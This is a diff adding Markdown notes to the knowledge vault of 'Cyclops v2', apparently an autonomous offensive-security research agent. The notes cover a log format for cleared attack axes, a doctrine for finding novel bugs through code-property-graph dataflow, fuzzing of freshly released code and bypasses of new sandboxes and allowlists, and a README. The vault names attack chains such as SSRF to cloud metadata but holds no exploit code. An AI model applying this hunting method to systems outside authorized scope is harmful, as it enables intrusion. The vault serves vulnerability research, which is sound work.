+ [[../06-methods/NOVELTY-DOCTRINE#the-sibling-cve-gate-novel-vs-variant-run-before-deep-work|the sibling gate]]).
+ Record the CVE id so we never re-investigate it.
+- **HARDENING-NOTE** - a real low/medium issue (IDOR, missing header, verbose error, exposed-but-empty
+ service) that is **below the gate** and therefore **not a finding**. Lives here, never in a report.
+- **OUT-OF-SCOPE** - authorization/scope ruled it out per
+ [[../00-doctrine/OPERATING-CORE#1-authorization-the-only-place-cyclops-is-allowed-to-point|the charter]].
+
+---
+
+## Example entries
+
+```
+| date | target | archetype | axis | result | oracle | reason | revisit |
+|------------|--------------------------------|--------------------|-------------------------------------------------------------|-------------------------|-----------------------------------------------------|------------------------------------------------------------------------|--------------------------------------|
+| 2026-06-11 | llama.cpp @a1b2c3d | ml-model-loaders | gguf_init_from_file KV-array length → memcpy heap overflow | DISPROVEN | AFL++ 8h + ASan; 3 crashes, all null-deref DoS | length validated against file size at gguf.c:412 before alloc | if a new KV array type is added |
+| 2026-06-11 | Obsidian v1.x (asar) | electron-desktop | markdown render XSS → contextBridge → child_process | DISPROVEN | crafted note in disposable VM, no callback | contextIsolation on; bridge exposes no fs/exec method | if a plugin widens the bridge |
+| 2026-06-11 | Flowise @e4f5g6h | ai-agent-mcp | /api/v1 unauth route → code node RCE | SIBLING-CVE | replicated public auth-bypass | matches CVE-2024-xxxxx, already fixed upstream | none |
+| 2026-06-11 | Grafana v11.x | devops-infra | datasource proxy SSRF → IMDS | HARDENING-NOTE | SSRF callback fired, IMDS blocked | reaches outbound but metadata egress filtered; bare SSRF below gate | if deployed without egress filtering |
+```
+
+---
+
+## Usage rules
+
+- **Append before you rotate.** You may not move to the next archetype until the cleared axes of the
+ current one are logged. The rotation requirement is enforced by this log existing.
+- **Check before you screen.** At the start of any (target, archetype) pass, read existing entries for
+ that target - if the axis is already DISPROVEN/SIBLING and `revisit` hasn't fired, skip it.
+- **Pin versions.** A clear is only valid for the pinned commit; new code reopens the surface (that's
+ [[../06-methods/NOVELTY-DOCTRINE#lever-1-hunt-freshly-released-code-the-time-arbitrage|Lever 1]]).
+- **Hardening notes die here.** Resist the pull to "at least report the IDOR." The gate says no; the
+ log is where it goes.
vault/06-methods/NOVELTY-DOCTRINE.md +113 -0
@@ -0,0 +1,113 @@
+# NOVELTY-DOCTRINE - How v2 Avoids Being Beaten to the Punch
+
+v1's deepest failure was not low severity - it was **non-novelty**. Every "find" was a *sibling-CVE*:
+a variant of an already-public bug, discovered by pattern-matching the shape of known CVEs onto new
+code. By construction, that approach can only ever rediscover known bug *classes* in known *places*.
+This document is the discipline that makes v2 find **new** bugs.
+
+Related: [[../00-doctrine/OPERATING-CORE]] · [[../00-doctrine/SEVERITY-GATE]] · [[../04-cleared-axes/README|cleared-axes log]]
+
+---
+
+## The three levers of novelty
+
+### Lever 1 - Hunt freshly-released code (the time-arbitrage)
+
+Public researchers, OSS-Fuzz, and CodeQL's default queries have already swept yesterday's code. The
+edge is **code that is days old**: a feature merged last week, a new format extension, a fresh release,
+a brand-new project from the AI gold-rush. New code is **unfuzzed, unaudited, and un-CVE'd**.
+
+Concrete sourcing:
+- Watch the **commit/PR/release feed** of in-scope/owned projects. Target diffs that touch a
+ [[../00-doctrine/SEVERITY-GATE|gate]]-relevant sink: a new parser path, a new `ipcMain` handler, a
+ new tool, a new `run:` step, a new deserialization route.
+- Prefer projects in their **first year** - the [[../01-archetypes/ai-agent-mcp|AI-agent]] and
+ [[../01-archetypes/ml-model-loaders|model-loader]] ecosystems are months old; their defenses are
+ immature and their parsers unfuzzed.
+- **Re-run existing fuzz harnesses on the new commit.** OSS-Fuzz fuzzed the *old* tree. A new format
+ feature is new attack surface the corpus has never reached - point a coverage-guided fuzzer at it.
+- Diff-driven: when a project lands a "safe mode" / allowlist / sandbox (e.g. PyTorch `weights_only`,
+ the HF chat-template sandbox, a new SSRF allowlist), that *defense* is the newest, least-tested code
+ in the repo. Hunt the bypass of the fresh defense.
+
+### Lever 2 - Use the CPG to find UNEXPLORED source→sink paths
+
+This is the mechanical heart of v2 and the direct antidote to pattern-matching. Instead of asking
+*"does this code look like CVE-X?"* (which only finds siblings), ask the **Code Property Graph**:
+*"what attacker-reachable sources flow to a dangerous sink - by any path, including ones nobody named?"*
+
+Method (Joern / `joern_query`, plus `codeql_query`, `semgrep_scan` as cheaper pre-filters):
+1. **Define sinks from the gate, not from CVEs.** Enumerate the dangerous sinks for the archetype
+ (e.g. `child_process.exec`, `pickle.find_class`, `memcpy`, `gguf` size-math, `ipcMain` OS calls,
+ `${{ github.event }}`→`run:`). These come from the [[../01-archetypes/electron-desktop|archetype]]
+ boundary maps, not from a CVE list.
+2. **Define sources as trust-boundary inputs.** The crossings in the archetype boundary map (the model
+ file, the IPC arg, the PR title, the fetched URL, the tool arg).
+3. **Query for reachability between them** - `cpg.method(src).reachableBy(...)` / taint flows. The CPG
+ surfaces *every* path, including the long, weird, multi-hop ones a human (and a pattern-matcher)
+ would never enumerate. **Those long unexplored paths are where novelty lives** - the obvious
+ one-hop path is the one already CVE'd.
+4. **Rank by "has anyone looked here?"** Prefer paths through recently-added code (Lever 1), through
+ error/edge handlers, through a second format/port, through a defense's bypass. Deprioritize the
+ textbook path.
+5. **Confirm the guard is actually absent/bypassable** on the chosen path - then it's
+ SOURCE_CONFIRMED and goes to the oracle. The CPG finds the path; only the
+ [[../00-doctrine/OPERATING-CORE#2-the-only-proof-is-an-execution-artifact|dynamic oracle]] confirms
+ the bug.
+
+The mental shift: v1 used the LLM as the *detector* (pattern-match → "this is a bug"). v2 uses the
+**CPG as the detector** (dataflow → "this path is reachable") and the **oracle as the judge** (artifact
+→ "this path is exploitable"). The LLM only *generates hypotheses and writes harnesses*. It never
+declares a bug, and it never declares novelty.
+
+### Lever 3 - Bug-class transplant onto an unhunted surface
+
+A *known bug class* in a *place no one has applied it* is novel. Take a mature class (integer-overflow
+heap overflow, pickle `__reduce__`, SSRF→IMDS, workflow-injection) and apply it to a surface the class
+hasn't been pointed at yet - e.g. the GGUF metadata parser, a new MCP server, a freshly-ported
+safetensors reader, a brand-new agent's code tool. The *class* is old; the *instance and location* are
+new. This is legitimately novel and is distinct from finding a variant of a specific public CVE in the
+same project (that's a sibling).
+
+---
+
+## The sibling-CVE gate: novel vs. variant (run BEFORE deep work)
+
+Before investing oracle time in a SOURCE_CONFIRMED candidate, **check it against the CVE/advisory feed**.
+This is cheap and saves you from weaponizing a known bug.
+
+Procedure:
+1. **Query the feed** for the project + the bug class + the sink (`cve_lookup`, `search_cves`,
+ `cve_semantic_search`, `variant_search_cve`, `advisory_search`). Also check GitHub Security
+ Advisories, the project's own changelog/security page, and recent commit messages ("fix overflow",
+ "security", "sanitize").
+2. **Classify the candidate:**
+
+| | Already-public bug | Same class, **new** location/instance |
+|---|---|---|
+| Same project, same file/function, same root cause as a known CVE | **SIBLING - do not report.** | - |
+| Same class but a *different* field/route/file, or a different project, or a re-implementation/port | - | **NOVEL - proceed.** |
+| The bug is in *new code* (post-dates the latest relevant CVE) | - | **NOVEL - proceed.** |
+
+3. **Document the novelty delta.** Every candidate that proceeds carries a one-paragraph "why this is
+ new": which CVE(s) it is adjacent to, and the specific reason this instance is *not* covered by them
+ (different sink field, unfuzzed new code, a port that dropped the fix, a bypass of the patch that
+ "fixed" the sibling). If you cannot articulate the delta, it is a sibling - stop.
+4. **Patch-bypass is novel.** If a project "fixed" a CVE but the fix is incomplete (the classic
+ incomplete-patch), demonstrating the bypass *is* a novel finding - document it as a bypass of the
+ specific fix commit.
+
+> The novelty check is a **pre-filter, run before the oracle**, not an after-the-fact justification.
+> v1 weaponized first and rationalized novelty later. v2 proves novelty is plausible *before* spending
+> the expensive oracle budget, then proves exploitability with the artifact.
+
+---
+
+## Anti-drift tie-in
+
+Novelty and anti-drift reinforce each other. The
+[[../04-cleared-axes/README|cleared-axes log]] records every (target, archetype, axis) already
+screened - so the agent never re-hunts ground it (or the public) has already cleared. Combined with the
+[[../00-doctrine/OPERATING-CORE#4-the-anti-drift-rule-log-cleared-axes-rotate-archetypes|archetype-rotation rule]],
+this forces the search toward *fresh* code and *unexplored* paths every iteration, which is exactly
+where novel high-severity bugs are.
vault/README.md +46 -0
@@ -0,0 +1,46 @@
+# Cyclops v2 - Knowledge Core
+
+This is the binding knowledge vault for **Cyclops v2**, a ground-up rebuild of an autonomous
+offensive-security research agent. Open it as an Obsidian vault (the `.obsidian/` folder is here).
+
+## Why v2 exists
+
+Cyclops v1 was a **code-reader**, not an **exploit-runner**. It found bugs by reading source and
+pattern-matching known shapes. The consequences were structural, not incidental:
+
+- It drifted to the same low-severity classes forever (IDOR / broken access control / blind SSRF).
+- It got tunnel-vision on one target and never rotated its angle of attack.
+- It never *proved* RCE / shell / account-takeover - it asserted reachability and called it a day.
+- It only ever found **sibling-CVEs** (variants of already-public bugs), never novel ones.
+- The output read like hackathon offsec slop: confident, plausible, unproven.
+
+## The v2 thesis (the three pillars)
+
+Novel, high-severity bugs come from the intersection of:
+
+1. **The right target archetypes** - hunt where load-time RCE and trust-boundary confusion *live*,
+ not where CRUD apps leak object IDs. See [[01-archetypes/electron-desktop|archetypes]].
+2. **Code Property Graph dataflow** - use [[06-methods/NOVELTY-DOCTRINE|CPG/Joern]] to find
+ *reachable sinks nobody has looked at*, instead of grepping for known-CVE shapes.
+3. **A dynamic oracle** - only an ASan crash, a popped shell, or a retrieved secret may declare a
+ finding. An LLM's opinion is never proof. See [[00-doctrine/OPERATING-CORE|the operating core]].
+
+## Map of the vault
+
+- [[00-doctrine/OPERATING-CORE]] - the binding charter (authorization, proof labels, anti-drift).
+- [[00-doctrine/SEVERITY-GATE]] - the hard gate; what counts as a "holy-shit" finding and the exact oracle per family.
+- `01-archetypes/` - one hunting playbook per target archetype:
+ - [[01-archetypes/ml-model-loaders]] **(headline archetype - most depth)**
+ - [[01-archetypes/electron-desktop]]
+ - [[01-archetypes/ai-agent-mcp]]
+ - [[01-archetypes/devops-infra]]
+ - [[01-archetypes/cicd-supplychain]]
+ - [[01-archetypes/memory-unsafe-parsers]]
+- [[06-methods/NOVELTY-DOCTRINE]] - how to avoid being beaten to the punch; sibling-CVE discipline.
+- [[04-cleared-axes/README|04-cleared-axes]] - the anti-tunnel-vision memory (what we've already screened).
+
+## The one-line spine
+
+> Hunt the right archetypes → use the CPG to find an unexplored source→sink path → drive it with a
+> dynamic oracle until you have an **execution artifact** on the path to a [[00-doctrine/SEVERITY-GATE|gate]]
+> family - or you log it **DISPROVEN** and rotate. No artifact, no report.